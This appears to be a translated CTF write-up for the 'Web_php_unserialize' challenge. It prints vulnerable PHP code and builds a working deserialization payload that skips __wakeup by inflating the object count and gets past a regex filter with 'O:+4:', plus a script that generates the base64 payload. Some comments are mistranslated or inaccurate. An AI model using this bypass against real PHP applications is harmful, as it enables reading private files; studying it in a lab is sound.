Web_php_unserialize (web advanced) in the world of attack and defense

Title: Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

Let’s start analyzing the code:

Knowledge points:

 1、构造函数  
 	__construct();//当对象被创建时,将会自动调用对象中的construct()函数。
 2、析构函数
 	__destruct();//当对象被销毁时,将会自动调用对象中的construct()函数。
 3、魔术方法(之一)
 	__wakeup();//当进行反序列化时将自动调用这个函数。
 4、序列化对于不同类型得到的字符串格式为
 	string		s:size:value
 	int			i:value
 	bool		b:value;(保存为1或者0null		N
 	array		a:size:{
    
    key definition;value definition;(repeated per element)}
 	object		O:strlen(object name):object name:object size:{
    
    s:strlen(property name):property name:property definition;(repeated per property)}

Specific analysis:

class Demo {
    
     									//定义对象
    private $file = 'index.php';				//定义私有变量$file
    public function __construct($file) {
    
     		//定义构造函数,将会在对象创建是被调用,用于初始化变量$file
        $this->file = $file; 
    }
    function __destruct() {
    
     					//定义析构函数,将会在对象销毁是被调用。用于高亮显示$file所指向的页面的代码
        echo @highlight_file($this->file, true); 	
    }
    function __wakeup() {
    
     						//魔术方法,当对象被反序列化时调用,用于将$file变量的值统一为“index.php”
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     						//判断是否有通过get方法传入的参数var,若有进入下一行,没有则跳转else。
    $var = base64_decode($_GET['var']); 		//将传入的参数var进行base64解码。
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     	//进行正交匹配,如果是以o或者c开头,后接“:”和一个以上的数字,则匹配成功,结束函数。
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 					//反序列化变量,并隐藏可能出现的报错。
    } 
} else {
    
     
    highlight_file("index.php"); 				//高亮显示index.php界面。
} 

Therefore, our current goal is to pass the flag as the value of the parameter var through get.
Because var will be base64 decoded initially, we need to base64 encrypt var in the final stage.
Because var will perform an orthogonal match next, and the function will end if the match is successful, we need to bypass this match.
Because var will be deserialized next, what we pass in should be the serialized content, and because the __wakeup() function will be called during deserialization to change the incoming parameters, so we have to bypass_ _wakeup() function.
F:

class Demo {
    
     
    private $file = 'fl4g.php';
}
echo serialize(new Demo);	//序列化输出对象。

得到:
O:4:"Demo":1:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

In order to bypass the __wakeup() function, we can change the object size to a larger size to bypass this function.

例如:O:4:"Demo":2:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

To bypass orthogonal matching, we can modify strlen,

例如:O:+4:"Demo":2:{
    
    s:10:"Demofile";s:8:"fl4g.php";}

To deal with decoding, we need encryption

base64_encode('O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}');

Upload parameters:
Insert image description here
Attention! Here is a small detail: after private types are serialized, an invisible character will be added before and after the variable name.
example:

class Demo1{
    
    
	private $file = 'fl4g.php';
}
class Demo2{
    
    
	public $file = 'fl4g.php';
}
echo(serialize(new demo1));echo("<br>");
echo(serialize(new demo2));echo("<br>");
var_dump(unserialize('O:5:"Demo1":1:{s:11:"Demo1file";s:8:"fl4g.php";}'));echo("<br>");
var_dump(unserialize('O:5:"Demo2":1:{s:4:"file";s:8:"fl4g.php";}'));echo("<br>");
echo(base64_encode(serialize(new demo1)));

Insert image description here

Insert image description here
Therefore, it is best to use code to complete the replacement work for this question. code show as below:

<?php
class Demo{
    
    
	private $file = 'fl4g.php';
}
$a=serialize(new Demo);
$a = str_replace('1:', '2:',$a);
$a = str_replace(':4:', ':+4:',$a);
echo(base64_encode($a));
echo("<br>");

Guess you like

Origin blog.csdn.net/my_name_is_sy/article/details/125518307